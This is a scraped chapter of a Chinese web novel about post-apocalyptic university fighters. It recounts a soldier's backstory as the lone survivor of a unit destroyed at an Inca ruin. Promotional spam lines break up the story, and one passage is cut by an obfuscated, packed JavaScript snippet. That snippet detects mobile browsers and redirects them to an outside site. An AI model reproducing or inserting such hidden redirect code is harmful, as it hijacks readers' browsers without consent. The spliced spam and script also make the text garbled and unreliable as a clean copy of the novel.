第 550 章 只在
作品:《征服末日从大学开始》 第550章只在晋江文学城
【晏止戈的烦恼】
摧毁人类世界的不止是混沌,还有核.弹和战争。
核.战后两百年的漫长极夜彻底改变了大陆结构,如今大地荒芜,干瘪,贫瘠的沙砾种不出果腹的稻谷。
少数肥沃的土地被遗民基地抢占,还存留工业与基建的地域被占领,基地和财团欣欣向荣。荒漠被弃之如敝履。
印加遗迹就矗立在这样的荒芜沙丘上。
太阳西沉,驻扎点亮起灯。
前往遗迹勘察的文学系小队陆陆续续回营,看到郁和光时不由爆发出惊喜欢呼,来不及洗掉一身沙砾就兴奋奔来,郁和光还不等拒绝就被抱了个结结实实。
打也打不走,踹开就自动回弹,骂……一骂就眼泪汪汪。
郁和光看着狗皮膏药一样贴在身上的文学系,太阳穴一跳一跳的发疼。
“狗吗?和谁学的。”
他低声呵斥:“晏止戈都教了你们点什么?”
文学系眼睛“叮!”的发光:“所以郁首席,来合影吗?”身后看不到的尾巴嗖嗖摇成螺旋桨。
郁和光:“……你相信我是秦始皇吗?”
文学系疑惑歪头,好学的乖巧发问。
郁和光狞笑举起铲子:“我和秦始皇一样,焚·书·坑·儒!”拎起铲子就开始追杀!
文学系:“!!!”
“首席救命,救命啊!”
鬼哭狼嚎从营地中间跑过。
郁和光高举兵工铲气势汹汹在后面追杀。
晏止戈托着脸笑弯了腰。
“我可没办法从战斗系首席手里救你。”他单手支头,笑着随意摆手,“想活命?那最好让他爱你。”
郁和光:“?”
郁和光尚在迷茫中,文学系已经恍然大悟。
他猛地开始啾啾狂喊:“郁首席,郁首席我们爱你啊!”
“俺也一样!”
被追杀到一半的文学系学生们急急刹车,调转脚尖,转头冲郁和光奔来,噘着嘴嘴巴里还念念有词:“首席,我愿用一切诗句装点你的王冠,我将奉你为诗里新的君王。”
“杀了我吧,六尺之下,我依然会生长向你的方向。”
“首席!您在我的灵魂上登基为王!”
郁和光:“!”
眼看着丧尸嘟囔着天书就朝他杀来,他果断一旋身如流风回雪——向来时的路杀去!
“咦?发生什么事了?”抱着小机器人走出营地的谢枝雀眨眨眼,歪头迷茫。
他进个营地的功夫,怎么就攻守易型了呢?
郁和光被文学系“追杀”得好像那不是诗,而是紧箍咒。
听说看这本书的人都是很幸运的,分享后你的运气会更棒
营地里热热闹闹林沉麓四下环顾却唯独少了一人身影。
尤金坐在灯光照不到的岩石背面冷风吹刮过荒漠旷野
林沉麓静静站在原地片刻缓步上前。
“我一直以为傻子不会伤心。”
尤金闻声动了动没有抬头。
林沉麓深一脚浅一脚踩过碎石沙砾漠然问:“是你突然长出了脑子还是你是**挑一那个会伤心的傻……嘶。”
她忽然崴了脚踉跄间瘦弱身形就要摔下去。
却忽有一阵疾风呼啸刮过不等看清便只觉腰间一暖大手托举住细瘦腰肢就势环抱入怀。
林沉麓眼前一花不等反应人已经被尤金单手扣住腰肢稳稳放回地面上。
尤金还若无其事弯下腰替她拍了拍蹭在岩石上的灰:“好了。撞到哪了吗?”
光亮越过岩石照亮尤金的轮廓黑色工字背心外肌肉流畅光影凿刻得她仿佛古希腊雕像丝毫不觉得自己刚才单手救人有什么问题。
单手七十多斤的重量对尤金来说轻松得甚至不及**重。
林沉麓定了定神冷呵:“肌肉笨蛋也有长脑子的一天。”
尤金:“?”
尤金:“QvQ你是专门来骂我的吗?”
路过聪明人不小心撞一下聪明人会知道这是意外。路过尤金撞一下尤金会认为这是专程针对她。
林沉麓借着阴影翻了个白眼。
“你……等!”她刚要开口忽觉视野陡升下意识伸手抓住最近的物体稳住身形。
——尤金一弯腰单手抱起林沉麓轻松把她放在岩石上坐稳。
“这边绊脚石太多不好走你还是坐着安全。”
尤金双手掐着林沉麓腰身又把她往里举了下确认她坐稳当了这才满意抬头维持着倾身弯腰的姿势抬头冲她灿然一笑:“太硬吗要不然坐我腿上?”
林沉麓手撑在尤金肩膀上被那笑容晃得怔了下又别开脸冷呵:“没脑子的小狗不会伤心。”
尤金:“0v0?”
她手臂一撑轻而易举跃上岩石紧挨着林沉麓坐下。
林沉麓嫌弃想挪远点奈何双脚离地不好发力使了半天力气都没能窜出分毫还被旁边的傻子歪头微笑冒问号询问:“改变主意想坐我腿上了?”
尤金拍了拍结实的大腿乐呵呵道:“软的。”
林沉麓:“……啧。”
她欣赏郁和光是有原因的。世上傻子太多。
源源不断的热度从身边传递来尤金像个暖烘烘的小火炉烤着她即便只穿一件训练背心
你的朋友正在书荒,快去帮帮他吧
也能面不改色蹲在旷野发呆。被冷风吹得清醒的林沉麓,逐渐在这样的烘烤下放松,慢慢垂下眼。
两人相对无言,只有尤金望着旷野,和吹过旷野的冷风。
“……我曾经以为,那样的日子会永远持续下去。
不知过了多久,尤金沙哑的呢喃被风吹散在林沉麓耳畔。
林沉麓掀了掀眼,看见尤金明亮的蓝眼睛失焦,怔愣盯着旷野某处出神。
“十一岁拔得头筹,十三岁考入军校,十五岁授衔少尉,十**团,我为其一。
她声线轻颤,喉咙间是压不住的沙哑:“我曾经看到世界的大门向我敞开。
阿纳斯塔西娅·尤金波娃,军校里曾经耀眼的启明星,年少成名已经是十**团最年轻的军官。
所有见过她的人都不由惊叹于她的优秀与年轻,盛赞她前途不可限量。
十六岁的尤金波娃也是这样认为的。
她以少尉军衔进入十**团,统领小队气吞**战场,百步穿杨不及其万一。烈火烹油,鲜花着锦。
但少女阿纳斯塔西娅更快乐的,是她喜欢的学长也和她分到了同一纵队。
上司是她军校时的老师,同僚是她的学长学姐,下属比她年长更如父叔兄长。在外人面前不可冒犯的威严军官,在老师学长眼里还只是个孩子,大队里最年幼的老么,是所有人口中的小西娅。
他们会在老师训得她眼泪汪汪罚站时,偷揣着烧鸡来看她,听着她惊喜欢呼声乐呵呵撕下鸡腿分给她。发现了食物香气的老师气得出门大骂,学长们排排站把蔫头蔫脑的小姑娘挡在身后,彼此指责对方不带脑子带烧鸡,就不能带点没味道的?
学长怒:没味道的能吃?我们小西娅还在长身体呢!
老师更怒:西娅在长身体,你这辈子是不长脑子了——滚出去!
连同瞪着眼无辜的小西娅一起丢出大门,全轰到军营外罚去跑圈。
……虽然半个军营一起跑圈看起来不像惩罚。
少女泫然欲泣,耷拉着头道歉是她害得大家半夜吹冷风,却被学长揉了头毛。
她怔愣抬头,看见喜欢的学长歪头冲她一笑。
几十个高大壮汉吵吵闹闹彼此指责,把她围在中间,连冷风也吹不到她,却被学长捉住手腕,脱下自己的战术手套硬套上。
学长说:你是狙击手,要保护好自己的手。
小西娅两手捂住发热的脸颊,借着夜晚笑得傻气。
下属们悲悯:完了,小西娅傻了——都怪老大!
天不亮就撸袖子去顶头上司门口替自家少尉找场子,气得上司拎起军棍杀气腾腾追杀遍整个军营,揍得壮汉们哭爹喊娘。却在背着手害怕搅
你的朋友正在书荒,快去帮帮他吧
衣角的小西娅面前,冷哼扔了军棍,勾勾手指:过来。
抓起少尉的头发。
给少尉编了两条麻花辫。
上司打了个蝴蝶结,后退两步欣赏自己的作品,欣慰点头:我就说我的手艺比你队里的家伙们好,看!
小西娅呆滞摸摸头,嘿嘿笑了。
老师也笑了。
再如何年少成名独占鳌头,老师眼里也是个小孩子,还在长身体呢。
别的小队做错了事被上司严厉叱骂,小西娅做错了事会收获一个严厉的随队老师。她在前面战战兢兢一步三回头,老师在后面抱臂大马金刀坐镇。
老师一巴掌拍她后背上怒斥:想怎么做就去做,老师在后面给你兜底!
她哭丧着一扭头,老师学长们都站在她身后,冲她竖大拇指:我们都在,怕什么?
军团不是小西娅的职场,军团是小西娅的家。
她尊敬的老师,喜欢的学长,亲近的前辈们……都在这里。
不……
不在了。
全都不在了。
浑身是血狼狈的少女从尸体下爬出来,学长和老师的尸体从她后背上滑下来,死不瞑目的脸砸在她面前。
她睁着一双已经流干了眼泪的眼,看见战场焦土千里,硝烟未散,满地横倒的尸骸都是她熟识的脸。
派往遗迹地区的整支纵队……全军覆没。
只剩下她一个,被老师学长们层层护在身下,从本应该死亡的地狱里,硬生生爬了出来。
“最后救了你的,是前去支援的晏止戈。
林沉麓眸光平静:“你是‘最后的大队’,唯一的幸存者。
尤金歪头,静静看她。
林沉麓漠然:“纵队全军殉职是封存档案,但溯游首席的权限是顶级的。
她早在郁和光那里看见了档案,“你以为郁和光那个走一步算八百步、警惕到连多一个队员都不肯招的,会放任不知底细的人合作?
尤金笑了下,缓慢摇头:“我知道我的档案里写着什么,我见过。
“但有更多东西,被历史摒弃,没有写进档案。
记录里冰冷的文字不会书写战士的崩塌,鲜活的面孔变成无机质的阵亡数字。
而在档案之外,不——晏止戈没有上报的,是废墟神降。
残阳如血的战场,血人少女抬起头,看见了神祇降临。
落日的血色光辉吞噬残局,神祇自光晕中居高临下伸出枯瘦的手,无数声音瞬间在少女脑海中炸开,一声比一声更混乱的呢喃逼迫她无所遁逃,仿佛六千年的知识量一秒钟被塞进大脑,无法理解的事物瞬间塞爆了所有理智的弦,每一缕肌肉,每一根血管,都在无与伦比的重压之下发出不
听说看这本书的人都是很幸运的,分享后你的运气会更棒
堪重负的崩塌声。
二十六面骰血色啸叫,少女仰头惨叫凄厉。
血泪沿着脸颊流淌冲刷污泥,她睁着眼,眼角迸裂,直视神祇。
“你说错了一件事,林。
尤金轻笑,平静道:“我是唯一在遗迹战场上直面【邪神】,却存活下来的。晏止戈及时带走了我。
“我不是‘最后的大队’的幸存者。我就是,最后的大队。
少女军官赌上灵魂溃败拼死直视【邪神】,她带回的情报成为前期勘探部队唯一留下的线索,让晏止戈和溯游联队得以踩着前人的尸骸,成功进入遗迹深处。
尤金波娃再次醒来,却是在军队监狱里。
作为唯一的幸存者,她被怀疑已经混沌,或被邪神入侵取代。她被监禁在冰冷昏暗的钢铁牢狱中,沉默等待一轮又一轮严苛的审查。
‘我的老师,学长,前辈,我的上司,同僚,下属,全都死在遗迹战场上。九死一生,我竟得以拖着残躯回来。’
尤金波娃睁着黯淡如脏水的蓝眼睛,向审讯官惨然一笑:‘可你知道最残酷的是什么——你们说,是我杀了他们!’
审讯官冰冷如机器,只说:请你回答问题,战犯尤金波娃。
小西娅**。
随着最后一个会亲昵呼喊她的前辈一起埋葬战场。
活下来的是满身疲惫的尤金波娃,睁着一双无神的眼,木然在邪神与人类的拉锯战中无声溃烂,崩塌得无声无息。
羽翼未满的雏鹰,一朝失去了所有挡雨的巢,独自走进风雨。
“是因为我吗?
林沉麓忽然问:“是我通告了溯游,【邪神】可以顶替人类身份。
尤金笑着摇头:“你做的对,林。【邪神】如果顶替队友潜伏溯游,不及时发现只会酿成灾难。
她垂下眼:“十**团……秦校长对我的怀疑也并非空穴来风。她笑着轻描淡写,“遗迹战场的残骸,风化在了我离开第二天的日出之后,所有将士的遗骨未来得及收敛。
她深爱也深爱着她的人们,在日出的第一缕阳光中化作齑粉。
想立一座空空的衣冠冢,也没有遗物可寻。
“是不是很像替卧底扫除后患?
尤金笑眯眯耸肩:“没有任何证据能证明我说的话,也无从比对我是否是我本人。毕竟认识我的人都化成灰了嘛。
她摊手道:“晏止戈和他当时的队员倒是能为我证明,但是他那时候正忙着深入遗迹,还没回来呢。
晏止戈将尤金波娃送出战场遗址,立刻拿着她交给他的线索深入遗迹腹地,从此了无踪迹,生死不明。
尤金波娃曾希冀问审讯官,却只得到冰冷的回
听说和异性朋友讨论本书情节的,很容易发展成恋人哦
答——‘他们**。你害**他们。’
消失数月
但在所有人眼里的希望尽数湮灭之后……晏止戈拖着濒死残躯踏行一路淋漓血迹从遗迹中归来。
他不仅带着部分队员生还还确定了遗迹隶属于印加神系正是传说中万神皆陨的【神墓】。
他说:遗迹之下是【深渊】。
兴奋迎接晏止戈的师生们这才知道晏止戈耗时数月不仅深入腹地更进入了遗迹下的深渊带回了深渊的消息。
——他是人类历史上第一个深入【深渊】带回【邪神】讯息还活着回来的!
晏止戈拼着最后一丝力气抓紧温不言的手说清自己的发现就因为伤势太重昏死过去。
他在最高级别医院的高危病房里躺了两个月醒来后第一件事是走进军部监狱。
满载荣誉归来加冕首席的年轻学生亲手打开牢狱大门人造太阳的光亮从门缝一路洒进角落枯坐如骸骨的战犯迟缓转动浑浊眼珠张扬的孔雀蓝点亮死寂暗室。
她抬头太阳朗照她。
难得一见的高级长官们谦卑站在年轻首席身后军团长作陪审讯官歉疚鞠躬道歉解开她的枷锁溯游师长在侧浩浩汤汤随首席步伐而来。
军
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16653669|185472||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
部隶属戚山川。十**团则归属秦疾安执掌以弥补溯游无尽者稀少之数。
溯游首席的权限远在军团长之上——那是尤金波娃第一次对溯游权限有了实感。
因为那刚刚加冕的年轻首席指向她说:‘如果印加遗迹的战场上有功臣那阿纳斯塔西娅·尤金波娃就是唯一的丰碑。’
‘阿纳斯塔西娅·尤金波娃不是战犯她是一切荣耀的归属。’
大病初愈的晏止戈形销骨立年轻而锐利刚从战场凯旋还带着未褪的暴戾像一把出鞘的刀直直插在军团与溯游之间无人敢引颈试刃。
晏止戈说:‘她是溯游大学文学首席的队员她是溯游大学的人。’
年轻的首席威严环顾问:何人有异?
全场静默无人敢言。
随即响起热烈掌声为尤金波娃送上迟来的庆贺与荣耀。
“以前只知溯游一步登天但我从来没有哪一刻像那天那样深刻意识到溯游真的是‘天’。”
尤金仰头向林沉麓感慨:“生杀予夺大权在握溯游首席拥有一切世俗的成功。在溯游首席面前凡最高决议席之下皆是平等。”
“晏队说相信我于是一切律法军规都必须相信我晏队说我是有功之臣所以世界毫不犹豫站在了我这边。”
她耸了耸肩向林沉麓
恭喜你可以去书友们那里给他们剧透了,他们一定会“羡慕嫉妒恨”的
笑着比划:“你能想象那样的场景吗?年轻的小小少尉以为穷途末路,连憎恨军团长的力气都没有了,可峰回路转,军团长竟然只是首席面前微不足道的兵卒,而我一步登天,作为首席小队的一员,从此与军团长平起平坐了。
林沉麓看她的眼神像在看犯蠢的狗崽,“我知道。
尤金眨眨眼,恍然大悟:“哦!对不起,忘了你当了十年精神病了。
林沉麓:“……
她发誓,她但凡能打得过尤金都一定大揍特揍。
“总而言之,我本应该烂在监狱角落里去见老师的。尤金耸耸肩,轻笑道,“但还是被晏队捞了出来,随他南征北战,做他的枪,也做他的队友。
“辗转旧地球四年,一直避着印加神墓走,没想到兜兜转转又回来了。
尤金单手托腮脸颊挤成一坨软肉,连声音都含混着:“怎么过了四年,这还是不长草呢?
林沉麓翻了个白眼冷呵:“长你坟上。
尤金笑嘻嘻叮嘱:“那看我的时候别忘了带酒。
林沉麓:……从医学院偷医用酒精看你,喝死你算了。
她正沉思着,忽觉腰间一暖人已经腾空架起来。她连忙下意识伸手抓住对方肩膀,一低头看见尤金仰头冲她笑得灿烂。
“在郁首席发现之前,我得送你回去——他要是发现我带你吹风,朝卡叶琳娜阁下告状,我怕是要**。
尤金双手掐着林沉麓细瘦腰身把她从岩石上举起来,轻松得像从枝头摘个桃子。她本想把林沉麓放下来,低头瞅瞅乱石嶙峋的地面,思考三秒还是抬起手臂把林沉麓放在自己肩膀上。
“坐稳了。
她吹了声口哨,笑嘻嘻迈开长腿:“尤金号飞船开船了,嘀嘀~
林沉麓无语翻了个白眼。
战士结实的肩膀足够宽阔,扛得动沉重的战场,也载得起林沉麓。
林沉麓的手搭在尤金发顶,暖呼呼的温度透过拘束服传上来,烫得她指尖受不住,微微颤动。
她垂眼看向身下笑容灿烂的尤金。
其他人或许不明白,但曾直面十三邪神、被诅咒而苟延残喘的林沉麓却很清楚,直面神祇是何等剧痛。
那是源自灵魂深处的颤栗,是核.爆在大脑炸开的惨烈哀鸣,清醒着的每一分每一秒都会清楚看见自己的理智在溃烂,死亡被拉长成漫长没有尽头的折磨……可我还要活着忍受这一切。
很少有人能在直面邪神后幸存,即便他们还活着,最终也会选择捡起刀自戕。
尤金,是第一个。
我是因为无法死去,你又是为了什么?
林沉麓垂眼看她,无声询问。
“林
你的朋友正在书荒,快去帮帮他吧
?”谢枝雀的呼唤声打断林沉麓的思绪。
他诧异看着林沉麓和她的金毛坐骑从营地外回来,疑惑张望:“你怎么从那个方向回来的,尤金**你?”
尤金:“!”
“可不敢胡说啊小鸟,我可不敢绑这祖宗。”她赶紧把林沉麓塞给谢枝雀,狗狗祟祟张望,“郁首席没发现吧?”
谢枝雀:“只要我现在大喊,郁哥立刻就会发现,郁——”
他刚作势张开嘴巴,尤金已经一溜烟跑得没影。
林沉麓斜眼看他:“故意的。”
成功的小鸟:“嘿嘿~”
他一叉腰理直气壮:“谁让她竟敢拿郁哥的藏酒?”
林沉麓沉默一瞬,问:“郁和光喝酒?”
“不喝。”小鸟一挥翅膀,豪气干云天,“但郁哥的就是郁哥的,郁哥用不上也是郁哥的!”
谢枝雀:我将追杀每一个敢偷拿郁哥财富的坏蛋。
#正义小鸟,出击!#
尤金一溜烟跑出去很远,直到确认郁和光不会追杀,这才松了口气钻回营地。
“尤金?”泰坦闻声转头,温柔的蓝眼睛静静注视着她。他看见了她肩头落满的夜露,却没有询问。
只问:“饿了吗?”
从身后掏出留给她的食物。
尤金立即欢呼一声扑上去:“泰—坦——”她感动,“你才是唯一真神!”
在踏进营帐大门前,尤金扭头静静看向身后。
营地外,是照不亮的旷野。
她没有说,她离开军部监狱后,拖着伤躯去祭拜过纵队的衣冠冢。
在风景如画的蓝天下,茵茵绿草随风轻摇,纯白衣冠冢石碑巍巍,缠着绷带的女战士长久垂首默立,她伸出颤抖的手指轻抚碑文,鲜活的热爱褪色成冰冷的石板,此生她所爱着的每一个人,都变成了碑文上一个缀满荣耀的名字。
……荣耀加身,白骨齑粉。
甚至没有遗物可供回忆。
‘阿纳斯塔西娅,斯拉夫语义【复活】,深爱你的人以名姓如此祝福你。’年轻的文学首席长袍拖曳草地,在她身边站定,面孔比雕像更冰冷。
‘痛苦吗?绝望吗?那就把你的愤怒悉数化为**,射向你的仇人。深爱你的人们给了你重返人间的机会,尤金,抓住它。’
晏止戈站在衣冠冢前,向新生的尤金波娃伸出手。
他说:成为我的队员,成为溯游的无尽者——向混沌宣战。
印加遗迹的夜风迷蒙了尤金的双眼,她站在营地门前,恍惚忘记自己在哪。
但她记得那时自己伸出手,紧紧握住晏止戈向她抛来的机会。她说——
“好。”
尤金呢喃。
“尤金?”路过的晏止戈皱眉,“你站在这干什么,又喝酒了?”
突然回神的尤金:“!”
“没,没有,这是小鸟的酒心巧克啊啊泰坦快救命,晏队杀娃啦!!”
刚被小鸟塞了满怀零食的郁和光一扭头,就看见晏止戈在揍尤金。
小鸟趁机探头:“晏首席好可怕啊。”
“但郁哥不用怕。”小鸟张翅膀,大义凛然,“我保护你!”
郁和光揉揉小鸟脑壳,挑眉轻笑:“乖。”
作者有话要说:
晏止戈:……讨厌一些黑心小鸟。

